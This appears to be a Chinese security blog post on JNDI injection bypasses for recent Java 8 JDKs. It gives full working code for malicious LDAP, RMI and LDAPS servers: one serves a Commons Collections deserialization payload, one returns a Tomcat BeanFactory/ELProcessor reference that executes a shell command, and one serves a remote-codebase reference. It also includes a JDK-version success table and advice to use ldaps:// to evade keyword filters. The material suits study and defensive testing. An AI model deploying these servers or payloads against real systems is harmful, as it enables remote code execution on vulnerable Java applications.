先说一下JNDI+LDAP,在jdk8u341中默认将com.sun.jndi.ldap.object.trustURLCodebase设置为False,且在helper.loadClass()时会单独检测trustURLCodebase,导致远程加载class失败。

image-20241023200126556

LDAP可以通过loadClassWithoutInit()加载本地工厂类,但是不能利用BeanFactory,原因下面分析,只有下面的loadClass方法才会检测trustURLCodebase。

image-20241023210300181

在RMI的JNDI注入中,会调用com.sun.jndi.rmi.registry.RegistryContext#decodeObject方法,在这里判断了trustURLCodebase,在高版本的jdk中默认将trustURLCodebase赋值为false。

image-20240923185859362

所以想要绕过这个if语句需要让var8.getFactoryClassLocation() == null,而var8就是我们构造的恶意Reference

image-20240923190159860

javax.naming.spi.NamingManager#getObjectInstance会调用factory.getObjectInstance(),虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类如果在受害目标本地的CLASSPATH中,就会实例化工厂,并调用getObjectInstance() 方法。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。

image-20240923191036241

JNDI+LDAP(serialize)

根据上面代码调试结果继续进行分析

1
2
3
JAVA_ATTRIBUTES[2] = javaClassName
JAVA_ATTRIBUTES[4] = javaCodeBase // 在高版本中这个选项可以不添加,因为没有用到
JAVA_ATTRIBUTES[1] = javaSerializedData

所以构造属性

1
2
3
4
ds.add("dc=Exploit",
new Attribute("javaClassName","Exploit"),
new Attribute("javaSerializedData",bytes)
);

但是失败了,直接打断点调试,看看是什么问题?

image-20241023165708651

因为我确实没用过ldap服务,在ldap服务中,所有条目都应该包含objectClass这个属性,从上面的代码也可看到有在匹配objectClass,否则var4会重新初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.sdk.Attribute;
import com.unboundid.ldap.sdk.LDAPException;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.*;
import java.net.InetAddress;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Hashtable;

public class EvilLdapServerSerialize {

private String ip;
private Integer port;

public EvilLdapServerSerialize(String ip, Integer port) {
this.ip = ip;
this.port = port;
}
private void start() throws LDAPException, IOException {
// 配置基础 DN
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=Exploit");
config.setSchema(null);

// 配置监听器
InMemoryListenerConfig listenConfig = new InMemoryListenerConfig(
"ldap",
InetAddress.getByName(ip),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
);
config.setListenerConfigs(listenConfig);

// 创建并启动 LDAP 服务器
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
Path path = Paths.get("D:\\javaCode\\RmiStudy\\cc2.ser");
byte[] bytes = Files.readAllBytes(path);
ds.add("dc=Exploit",
// new Attribute("objectClass","top"),
new Attribute("javaClassName","Exploit"),
new Attribute("javaSerializedData",bytes)
);
ds.startListening();
System.out.println("LDAP server started successfully...");
System.out.println("LDAP server address is "+"ldap://"+ip+":"+port+"/dc=Exploit");

}
public static void main(String[] args) throws LDAPException, IOException {
EvilLdapServerSerialize evilLdapServerSerialize = new EvilLdapServerSerialize("127.0.0.1",389);
evilLdapServerSerialize.start();
}
}

这里的cc2.ser是CC2的反序列化链,前提是所测试的环境必须要包含对应的漏洞组件。

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

为了验证是否触发了反序列化,在InvokerTransformer.transform()方法上打个断电,然后运行JNDI lookup()

image-20241023175551106

可以看到确实运行到了这里,最后也是弹出了喜闻乐见的计算器。

image-20241023175644678

不同jdk版本的测试情况

jdk_version JNDI+LDAP(serialize)
8u65 success
8u111 success
8u201 success
8u341 success

可见用JNDI触发反序列化的jdk版本几乎没有限制,但一定要包含存在反序列化漏洞的依赖。反序列化之所以不会有jdk高版本的限制是因为,反序列化并不会触发loadClass()方法,也就不会触发检测。

在JNDI注入遇到高版本的JDK时,可以利用ysoserial生成payload后搭建恶意JNDI服务去测试。

JNDI+RMI(本地工厂类)

浅蓝师傅已经总结的够到位了,不再重复“抄”了,不过我会逐渐完善JNDIExploit中的利用链。
https://b1ue.cn/archives/529.html

BeanFactory+EL表达式执行

在Tomcat的catalina.jar中有一个org.apache.naming.factory.BeanFactory类,这个类会把Reference对象的className属性作为类名去调用无参构造方法实例化一个对象。然后再从Reference对象的Addrs参数集合中取得 AddrType 是 forceString 的 String 参数。

这里可以直接下载对应的tomcat进行调试,看一下JNDI攻击Tomcat本地工厂类过程,具体调试配置在之前的文章有介绍,这里使用的tomcat的版本是8.5.0,使用高版本可能会失败,Tomcat7没有加入这个功能,而Tomcat高版本(9.0.63、8.5.79)移除了这个功能。

JNDI RMI SERVER

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.jndiTest;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper refObjWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", refObjWrapper);
}
}

这里我debug了tomcat的源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.web;

import java.io.IOException;
import java.io.PrintWriter;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class jndiServlet extends HttpServlet {
public jndiServlet() {
}

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
String url = "rmi://127.0.0.1:1099/Exploit";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
} catch (NamingException var5) {
var5.printStackTrace();
}

PrintWriter writer = resp.getWriter();
writer.write("<h1>this is jndiLookUp!</h1>");
writer.flush();
}

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req, resp);
}
}

访问该链接就会执行calc

image-20240924200436260

可以看到这里将eval方法放入了forced变量中

image-20240924200646713

最后调用了javax.el.ELProcessor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")

回过头来看BeanFactory的这个RCE,核心代码其实就是将forceString的值value取出,然后使用,对value进行分割,之后再用=再次分割。x作为参数名,eval就是方法名,注意这个方法必须只能有一个参数并且是String类型,之后会调用到这个方法,方法参数就是ref中参数名的值也就是ref.get('x')

1
2
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

不难看出,其实本意就是用来调用set方法对属性赋值,但是由于对于用户的输入缺乏验证导致了RCE。

最后说一下为什么LDAP不能打这个BeanFactory,是因为LDAP只能返回Reference,而BeanFactory需要的参数类型是ResourceRef。

image-20241024220029979

而ResourceRef是继承自Reference,所以在RMI中可以用ReferenceWrapper对ResourceRef进行包装,从而触发该漏洞。

image-20241024221103994

image-20241024221122281

上面的图可以看到decodeReference最后返回的是Reference。其实还有其他的不同依赖环境的执行链,浅蓝师傅已经总结的很好了,这里不再“抄”了。之后可能还会继续更新JNDI利用工具的利用链。

JNDI+LDAPS(Reference)

https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html

上面这个链接是P牛关于ldaps服务实现的文章,ldaps其实就是ldap+tls,就是外面套了一层。只要先tls握手成功,然后传输内容就可以。关于实现的话,可以参考p牛博客用一个套件用于处理tls数据包,然后将解密后的内容发给ldap恶意服务处理之后再将返回结果经过套件加密转发出去即可。

在chatgpt的加持下,可以比较简单的写出一个ldaps服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public class LDAPSSLServer {
public void start(String domain, Integer port,Integer httpPort,String keystorePath,String password) throws Exception {
KeyStore keyStore;
// 加载 Keystore
if(keystorePath.endsWith(".p12")){
keyStore = KeyStore.getInstance("PKCS12");
try (FileInputStream fis = new FileInputStream(keystorePath)) {
keyStore.load(fis, password.toCharArray());
}
} else if (keystorePath.endsWith(".jks")) {
keyStore = KeyStore.getInstance("JKS");
try (FileInputStream fis = new FileInputStream(keystorePath)) {
keyStore.load(fis, password.toCharArray());
}
}else {
System.out.println("keystore type not support!");
return;
}
// 初始化 KeyManagerFactory
KeyManagerFactory kmf = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
kmf.init(keyStore, password.toCharArray());

// 初始化 SSLContext
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(kmf.getKeyManagers(), null, null);

// 获取 SSLServerSocketFactory
SSLServerSocketFactory sslServerSocketFactory = sslContext.getServerSocketFactory();

// 解析 domain ip
InitialDirContext initialDirContext1 = new InitialDirContext();
Attributes attributes = initialDirContext1.getAttributes("dns:ldaps.luc1fer.cn", new String[]{"A"});
String ip = attributes.get("a").toString().substring(3);

// 配置 LDAP 服务器
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=Exploit");
InMemoryListenerConfig ldapsListenConfig = InMemoryListenerConfig.createLDAPSConfig(
"ldaps",
InetAddress.getByName(ip),
port,
sslServerSocketFactory,
null // 可选:客户端套接字工厂
);

config.setListenerConfigs(ldapsListenConfig);
config.setSchema(null);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();
// 添加恶意reference
Reference reference = new Reference("Exploit", "Exploit", "http://" + ip + ":" + httpPort + "/");
Hashtable<Object, Object> env = new Hashtable<>();
env.put(Context.PROVIDER_URL,"ldaps://"+domain+":"+port);
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
InitialDirContext initialDirContext = new InitialDirContext(env);
initialDirContext.rebind("dc=Exploit",reference);

System.out.println("LDAP server started successfully...");
System.out.println("LDAP server address is "+"ldaps://"+domain+":"+port+"/dc=Exploit");

}
}

ldaps其实是ldap+ssl,主要是为了提高数据传输的安全性,在尝试JNDI注入时,可能服务端检测JNDI地址是否包含ldap://或者rmi://等关键字符,这时可以使用ldaps://进行绕过。在搭建ldaps服务时,需要准备一个自己的域名,比如ldaps.xxx.com解析到你的恶意服务器地址例如xxx.xxx.xxx.xxx。ldaps需要CA证书,可以到sslforfree申请免费ssl证书。如果在sslforfree中签发的证书有三个文件certificate.crt、ca_bundle.crt、private.key。

创建PK12 KeyStore:

openssl pkcs12 -export -in certificate.crt -inkey private.key -certfile ca_bundle.crt -name server -out server.p12

由PK12 转换成为JKS(可选):

keytool -importkeystore -srckeystore server.p12 -srcstoretype PKCS12 -destkeystore server.keystore.jks -deststoretype JKS

在创建keystore时需要设置密码,之后就可以开启服务了,注意使用p12格式的keystore时要用jdk8u301以上版本,否则会报错,经测试8u341可以正常运行。ldaps本质上还是ldap+reference,所以jdk版本限制还是跟ldap一致。

image-20241104165436724

image-20241104165037184

jdk_version JNDI+RMI JNDI+LDAP
8u65 success success
8u111 success success
8u121 fail success
8u201 fail fail

JNDI+LDAPS(serialize)

ldaps协议同样也可以配置反序列化,代码都已经写到项目中,不再赘述了。

image-20241104185902936

github中该项目还在进一步完善中。由于篇幅原因,不再介绍其他内容,至于项目中如果用到新的有意思的内容会在之后的文章中介绍。